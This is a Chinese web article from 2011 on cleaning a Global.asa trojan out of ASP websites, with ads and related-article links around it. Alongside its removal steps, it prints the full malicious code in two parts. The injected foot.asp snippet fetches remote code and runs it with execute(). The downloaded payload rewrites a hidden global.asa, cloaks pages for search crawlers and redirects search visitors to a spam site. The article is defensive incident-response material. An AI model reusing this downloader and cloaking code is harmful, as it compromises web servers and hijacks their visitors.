网站中Global.asa木马的快速清除方法

  发布时间:2011-03-27 20:12:42   作者:佚名   我要评论
最近客户的多个页面中了远程加载一些代码的页面,主要是利用MSXML2.serverXMLHTTP来加载一些代码并执行,下面是具体的解决方法。
(福利推荐:【腾讯云】服务器最新限时优惠活动,云服务器1核2G仅99元/年、2核4G仅768元/3年,立即抢购>>>:9i0i.cn/qcloud

(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun

解决办法:
1、用青云团队开发的网站木马清理专家全面扫描服务器上的网站,网站木马清理专家下载地址:/softs/12771.html
2、如果这时木马还是存在,用我们的网站木马清理专家的快速查马功能快速查杀by*aming或aming特征码,如下图所示:

3、关闭服务器上的缩略图功能 方法参考 /os/windows/Win2003/34960.html
根源:
这次用户中的是下载者类的木马,黑客通过网站上传漏洞上在网站根目录的foot.asp下插入了以下代码:

复制代码
代码如下:

<%
'by*aming
Function Gethtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
Gethtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write Gethtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
Gethtml = objStream.ReadText
objStream.Close
set objStream=Nothing
End Function
execute(Gethtml("http://www.pornhome.com/dy7749/xmlasaquan.txt"))
%>

清掉这段代码即可解决问题,网站木马清理专家查杀结果如下图所示!

xmlasaquan.txt的内容如下:

复制代码
代码如下:

'<html><head><script>function clear(){Source=document.body.firstChild.data;document.open();document.close();document.title="";document.body.innerHTML=Source;}</script></head><body onload=clear()>
'<meta http-equiv=refresh content=0;URL=about:blank><script>eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.1.2(\'3:4\');',5,5,'window|location|replace|about|blank'.split('|'),0,{}))</script>
'by*aming
Server.ScriptTimeout=600
Public Function createasa(ByVal Content)
On Error Resume Next
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/global.asa"))
f.Attributes=0
Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
Obj.Type = 2
Obj.open
Obj.Charset = "gb2312"
Obj.Position = Obj.Size
Obj.writetext = Content
Obj.SaveToFile "//./" & Server.MapPath("/global.asa"),2
Obj.Close
Set Obj = Nothing
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
End Function
Public Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
End Function
Function check(user_agent)
allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp",",")
check_agent=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
If instr(user_agent,allow_agent(agenti))>0 then
check_agent=true
exit for
end if
Next
check=check_agent
End function
Function CheckRobot()
CheckRobot = False
Dim Botlist,i,Repls
Repls = request.ServerVariables("http_user_agent")
Krobotlist = "Baiduspider|Googlebot"
Botlist = Split(Krobotlist,"|")
For i = 0 To Ubound(Botlist)
If InStr(Repls,Botlist(i)) > 0 Then
CheckRobot = True
Exit For
End If
Next
If Request.QueryString("admin")= "1" Then Session("ThisCheckRobot")=1
If Session("ThisCheckRobot") = 1 Then CheckRobot = True
End Function
Function CheckRefresh()
CheckRefresh = False
Dim Botlist,i,Repls
Krobotlist = "baidu|google|sogou|soso|youdao"
Botlist = Split(Krobotlist,"|")
For i = 0 To Ubound(Botlist)
If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then
CheckRefresh = True
Exit For
End If
Next
End Function
Sub sleep()
If response.IsClientConnected=true then
Response.Flush
else
response.end
end if
End Sub
If CheckRefresh=true Then
cnnbd=lcase(request.servervariables("HTTP_HOST"))
response.redirect("http://www.82767.com/?"&cnnbd&"")
'Response.Write("<a href=http://www.82767.com><font _fcksavedurl="http://www.82767.com><font" color=#FF0000>如果您的浏览器不支持跳转,请点击进入>>>>>></font></a><div style=display:none><script src=http://count11.51yes.com/click.aspx?id=114814173&logo=12></script></div><script _fcksavedurl="http://count11.51yes.com/click.aspx?id=114814173&logo=12></script></div><script" src=http://js.568tea.com/44.js></script><script src=http://js.37548.com/44.js></script>")
response.end
end If
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
if check(user_agent)=true then
body=GetHtml("http://fudu.qpedu.cn/xml/prn/con.2.asp?domain="&strHost&"&ua="&server.URLEncode(request.ServerVariables("HTTP_USER_AGENT"))&"")
response.write body
response.end
else
asa=GetHtml("http://www.pornhome.com/dy7749/codequan.txt")
if instr(asa,"by*aming")>0 then
createasa(asa)
end if
ScriptAddress=Request.ServerVariables("SCRIPT_NAME")
namepath=Server.MapPath(ScriptAddress)
If Len(Request.QueryString) > 0 Then
ScriptAddress = ScriptAddress & "?" & Request.QueryString
end if
geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress
geturl =LCase(geturl)
'response.write replace(namepath,server.MapPath("/"),"")
'response.end
'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and
if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then
agent = lcase(request.servervariables("http_user_agent"))
referer = LCase(Request.ServerVariables("HTTP_REFERER"))
bot = ""
Amll = ""
if instr(agent, "+") > 0 then bot = agent
if instr(agent, "-") > 0 then bot = agent
if instr(agent, "http") > 0 then bot = agent
if instr(agent, "spider") > 0 then bot = agent
if instr(agent, "bot") > 0 then bot = agent
if instr(agent, "linux") > 0 then bot = agent
if instr(agent, "baidu") > 0 then bot = agent
if instr(agent, "google") > 0 then bot = "nobot"
if instr(agent, "yahoo") > 0 then bot = "nobot"
if instr(agent, "msn") > 0 then bot = "nobot"
if instr(agent, "alexa") > 0 then bot = "nobot"
if instr(agent, "sogou") > 0 then bot = "nobot"
if instr(agent, "youdao") > 0 then bot = "nobot"
if instr(agent, "soso") > 0 then bot = "nobot"
if instr(agent, "iask") > 0 then bot = "nobot"
if bot="nobot" then
'Call WriteErr
'response.end
end if
Call sleep()
end if
end if
'</body></html>

相关文章

  • 新型勒索病毒Petya重新席卷全球 勒索病毒Petya如何对文件进行加密

    一波大规模勒索蠕虫病毒攻击重新席卷全球,电脑、服务器感染这种病毒后会被加密特定类型文件,导致系统无法正常运行,对新型勒索病毒Petya感兴趣的小伙伴们可以参考一下
    2017-06-28
  • 勒索病毒最新变种惊现!僵尸网络扩散中

    WannaCry勒索病毒的风声渐渐平息了。虽然全球范围内仍有大量的传播和感染存在,但大家似乎都已经不怎么关心了。不过正如地震之后的余震,病毒传播过程中一般都会出现新的变
    2017-05-23
  • 看windows如何为电脑打造“免检”木马

    喜欢钻研木马的用户会发现木马传播通常将木马程序和合法程序捆绑在一起,欺骗被攻击者。而现在有许多的软件都已克制木马的传播了,一起来看看吧
    2016-09-21
  • 你知道自己的电脑感染了恶意软件吗?

    大家都知道恶意软甲就在我们的身边,时刻准备着侵占我们的电脑,那么怎么才能知道那些恶意软件是否感染了我们的电脑呢?一起来看看吧
    2016-09-09
  • 如何手动清除那些利用了映像劫持技术的病毒

    映像劫持(Image Hijack)是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定,在针对杀毒软件方面,OSO病毒还采用了一种新技术就是映像劫持,通过
    2016-07-08
  • 详解专家谈手工查杀AV终结者病毒教程

    现在电脑用户都知道,“AV终结者”肆意泛滥,很多用户的电脑都被破坏,一些专杀工具还是不能彻底的解决这个问题,下面小编就为大家介绍一下专家谈手工查杀AV终结者病毒教程
    2016-07-08
  • 电脑中的木马病毒如何彻底查杀?

    要查杀病毒就要彻底查杀,那么要怎么样才能彻底查杀电脑病毒呢?下面由程序员之家小编给你做出详细的电脑病毒彻底查杀方法介绍!希望对你有帮助
    2016-04-30
  • 推荐2016年强杀电脑木马病毒查杀排行

    现在的电脑杀毒软件种类很多,在选择的时候,很多人并不知道如何去进行选,按照什么标准来进行选择,其实在选择杀毒软件首先要看杀毒能力,其次可以根据杀毒软件的功能来进
    2015-12-09
  • 三招迅速清除U盘内的病毒

    我们常常会在硬盘的各个分区根目录下面看到“Autorun.inf”这样的文件,并且用鼠标双击磁盘分区图标时,往往无法打开对应分区窗口;遭遇类似上述现象时,那几乎就能断定本地
    2015-09-15
  • 如何快速清除系统中的木马病毒 木马病毒清除

    黑客入侵后要做的事就是上传木马后门,为了能够让上传的木马不被发现,他们会想尽种种方法对其进行伪装。而作为被害者,我们又该如何识破伪装,将系统中的木马统统清除掉呢
    2015-09-15

最新评论

?


http://www.vxiaotou.com